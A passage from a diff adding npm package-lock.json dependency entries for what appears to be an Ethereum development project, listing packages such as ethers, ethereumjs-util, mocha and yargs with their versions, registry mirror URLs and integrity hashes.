"sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true + }, + "ethers": { + "version": "4.0.49", + "resolved": "https://registry.npmmirror.com/ethers/-/ethers-4.0.49.tgz", + "integrity": "sha512-kPltTvWiyu+OktYy1IStSO16i2e7cS9D9OxZ81q2UUaiNPVrm/RTcbxamCXF9VUSKzJIdJV68EAIhTEVBalRWg==", + "dev": true, + "peer": true, + "requires": { + "aes-js": "3.0.0", + "bn.js": "^4.11.9", + "elliptic": "6.5.4", + "hash.js": "1.1.3", + "js-sha3": "0.5.7", + "scrypt-js": "2.0.4", + "setimmediate": "1.0.4", + "uuid": "2.0.1", + "xmlhttprequest": "1.8.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "peer": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "flat": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "peer": true, + "requires": { + "is-buffer": "~2.0.3" + } + }, + "fsevents": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "dev": true, + "optional": true, + "peer": true + }, + "glob": { + "version": "7.1.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "hash.js": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/hash.js/-/hash.js-1.1.3.tgz", + "integrity": "sha512-/UETyP0W22QILqS+6HowevwhEFJ3MBJnwTf75Qob9Wz9t0DPuisL8kW8YZMK62dHAKE1c1p+gY1TtOLY+USEHA==", + "dev": true, + "peer": true, + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.0" + } + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true + }, + "js-sha3": { + "version": "0.5.7", + "resolved": "https://registry.npmmirror.com/js-sha3/-/js-sha3-0.5.7.tgz", + "integrity": "sha512-GII20kjaPX0zJ8wzkTbNDYMY7msuZcTWk8S5UOh6806Jq/wz1J8/bnr8uGU0DAUmYDjj2Mr4X1cW8v/GLYnR+g==", + "dev": true, + "peer": true + }, + "js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "peer": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "peer": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "log-symbols": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-3.0.0.tgz", + "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "dev": true, + "peer": true, + "requires": { + "chalk": "^2.4.2" + } + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "peer": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "mocha": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-7.2.0.tgz", + "integrity": "sha512-O9CIypScywTVpNaRrCAgoUnJgozpIofjKUYmJhiCIJMiuYnLI6otcb1/kpW9/n/tJODHGZ7i8aLQoDVsMtOKQQ==", + "dev": true, + "peer": true, + "requires": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "chokidar": "3.3.0", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "3.0.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.5", + "ms": "2.1.1", + "node-environment-flags": "1.0.6", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true, + "peer": true + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "peer": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "peer": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "peer": true + }, + "readdirp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.2.0.tgz", + "integrity": "sha512-crk4Qu3pmXwgxdSgGhgA/eXiJAPQiX4GMOZZMXnqKxHX7TaoL+3gQVo/WeuAiogr07DpnfjIMpXXa+PAIvwPGQ==", + "dev": true, + "peer": true, + "requires": { + "picomatch": "^2.0.4" + } + }, + "scrypt-js": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/scrypt-js/-/scrypt-js-2.0.4.tgz", + "integrity": "sha512-4KsaGcPnuhtCZQCxFxN3GVYIhKFPTdLd8PLC552XwbMndtD0cjRFAhDuuydXQ0h08ZfPgzqe6EKHozpuH74iDw==", + "dev": true, + "peer": true + }, + "setimmediate": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.4.tgz", + "integrity": "sha512-/TjEmXQVEzdod/FFskf3o7oOAsGhHf2j1dZqRFbDzq4F3mvvxflIIi4Hd3bLQE9y/CpwqfSQam5JakI/mi3Pog==", + "dev": true, + "peer": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "peer": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "peer": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "peer": true + }, + "supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "peer": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "uuid": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-2.0.1.tgz", + "integrity": "sha512-nWg9+Oa3qD2CQzHIP4qKUqwNfzKn8P0LtFhotaCTFchsV7ZfDhAybeip/HZVeMIpZi9JgY1E3nUlwaCmZT1sEg==", + "dev": true, + "peer": true + }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "peer": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true, + "peer": true + }, + "yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "peer": true, + "requires": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "peer": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "yargs-unparser": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "peer": true, + "requires": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + } + } + } + }, + "ethereum-bloom-filters": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.10.tgz", + "integrity": "sha512-rxJ5OFN3RwjQxDcFP2Z5+Q9ho4eIdEmSc2ht0fCu8Se9nbXjZ7/031uXoUYJ87KHCOdVeiUuwSnoS7hmYAGVHA==", + "dev": true, + "peer": true, + "requires": { + "js-sha3": "^0.8.0" + } + }, + "ethereum-cryptography": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-1.1.2.tgz", + "integrity": "sha512-XDSJlg4BD+hq9N2FjvotwUET9Tfxpxc3kWGE2AqUG5vcbeunnbImVk3cj6e/xT3phdW21mE8R5IugU4fspQDcQ==", + "dev": true, + "requires": { + "@noble/hashes": "1.1.2", + "@noble/secp256k1": "1.6.3", + "@scure/bip32": "1.1.0", + "@scure/bip39": "1.1.0" + } + }, + "ethereumjs-abi": { + "version": "0.6.8", + "resolved": "https://registry.npmmirror.com/ethereumjs-abi/-/ethereumjs-abi-0.6.8.tgz", + "integrity": "sha512-Tx0r/iXI6r+lRsdvkFDlut0N08jWMnKRZ6Gkq+Nmw75lZe4e6o3EkSnkaBP5NF6+m5PTGAr9JP43N3LyeoglsA==", + "dev": true, + "requires": { + "bn.js": "^4.11.8", + "ethereumjs-util": "^6.0.0" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + } + } + }, + "ethereumjs-util": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz", + "integrity": "sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==", + "dev": true, + "requires": { + "@types/bn.js": "^4.11.3", + "bn.js": "^4.11.0", + "create-hash": "^1.1.2", + "elliptic": "^6.5.2", + "ethereum-cryptography": "^0.1.3", + "ethjs-util": "0.1.6", + "rlp": "^2.2.3" + }, + "dependencies": { + "@types/bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/@types/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + }, + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "ethers": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/ethers/-/ethers-5.7.1.tgz", + "integrity": "sha512-5krze4dRLITX7FpU8J4WscXqADiKmyeNlylmmDLbS95DaZpBhDe2YSwRQwKXWNyXcox7a3gBgm/MkGXV1O1S/Q==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "5.7.0", + "@ethersproject/abstract-provider": "5.7.0", + "@ethersproject/abstract-signer": "5.7.0", + "@ethersproject/address": "5.7.0", + "@ethersproject/base64": "5.7.0", + "@ethersproject/basex": "5.7.0", + "@ethersproject/bignumber": "5.7.0", + "@ethersproject/bytes": "5.7.0", + "@ethersproject/constants": "5.7.0", + "@ethersproject/contracts": "5.7.0", + "@ethersproject/hash": "5.7.0", + "@ethersproject/hdnode": "5.7.0", + "@ethersproject/json-wallets": "5.7.0", + "@ethersproject/keccak256": "5.7.0", + "@ethersproject/logger": "5.7.0", + "@ethersproject/networks": "5.7.1", + "@ethersproject/pbkdf2": "5.7.0", + "@ethersproject/properties": "5.7.0", + "@ethersproject/providers": "5.7.1", + "@ethersproject/random": "5.7.0", + "@ethersproject/rlp": "5.7.0", + "@ethersproject/sha2": "5.7.0", + "@ethersproject/signing-key": "5.7.0", + "@ethersproject/solidity": "5.7.0", + "@ethersproject/strings": "5.7.0", + "@ethersproject/transactions": "5.7.0", + "@ethersproject/units": "5.7.0", + "@ethersproject/wallet": "5.7.0", + "@ethersproject/web": "5.7.1", + "@ethersproject/wordlists": "5.7.0" + } + }, + "ethjs-unit": { + "version": "0.1.6", + "resolved": "https://registry.npmmirror.com/ethjs-unit/-/ethjs-unit-0.1.6.tgz", + "integrity": "sha512-/Sn9Y0oKl0uqQuvgFk/zQgR7aw1g36qX/jzSQ5lSwlO0GigPymk4eGQfeNTD03w1dPOqfz8V77Cy43jH56pagw==", + "dev": true, + "peer": true, + "requires": { + "bn.js": "4.11.6", + "number-to-bn": "1.7.0" + }, + "dependencies": { + "bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==", + "dev": true, + "peer": true + } + } + }, + "ethjs-util": { + "version": "0.1.6", + "resolved": "https://registry.npmmirror.com/ethjs-util/-/ethjs-util-0.1.6.tgz", + "integrity": "sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==", + "dev": true, + "requires": { + "is-hex-prefixed": "1.0.0", + "strip-hex-prefix": "1.0.0" + } + }, + "event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "dev": true + }, + "evp_bytestokey": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz", + "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", + "dev": true, + "requires": { + "md5.js": "^1.3.4", + "safe-buffer": "^5.1.1" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true, + "peer": true + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "dev": true, + "peer": true + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "peer": true + }, + "fast-glob": { + "version": "3.2.12", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.2.12.tgz", + "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==", + "dev": true, + "peer": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + } + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "peer": true + }, + "fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "peer": true + }, + "fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "peer": true, + "requires": { + "reusify": "^1.0.4" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "find-replace": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-replace/-/find-replace-3.0.0.tgz", + "integrity": "sha512-6Tb2myMioCAgv5kfvP5/PkZZ/ntTpVK39fHY7WkWBgvbeE+VHd/tZuZ4mrC+bxh4cfOZeYKVPaJIZtZXV7GNCQ==", + "dev": true, + "peer": true, + "requires": { + "array-back": "^3.0.1" + } + }, + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==", + "dev": true, + "requires": { + "locate-path": "^2.0.0" + } + }, + "flat": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true + }, + "follow-redirects": { + "version": "1.15.2", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.2.tgz", + "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "dev": true + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "dev": true, + "peer": true + }, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dev": true, + "peer": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "fp-ts": { + "version": "1.19.3", + "resolved": "https://registry.npmmirror.com/fp-ts/-/fp-ts-1.19.3.tgz", + "integrity": "sha512-H5KQDspykdHuztLTg+ajGN0Z2qUjcEf3Ybxc6hLt0k7/zPkn29XnKnxlBPyW2XIddWrGaJBzBl4VLYOtk39yZg==", + "dev": true + }, + "fs-extra": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-7.0.1.tgz", + "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true, + "peer": true + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "function.prototype.name": { + "version": "1.1.5", + "resolved": "https://registry.npmmirror.com/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + } + }, + "functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "peer": true + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": 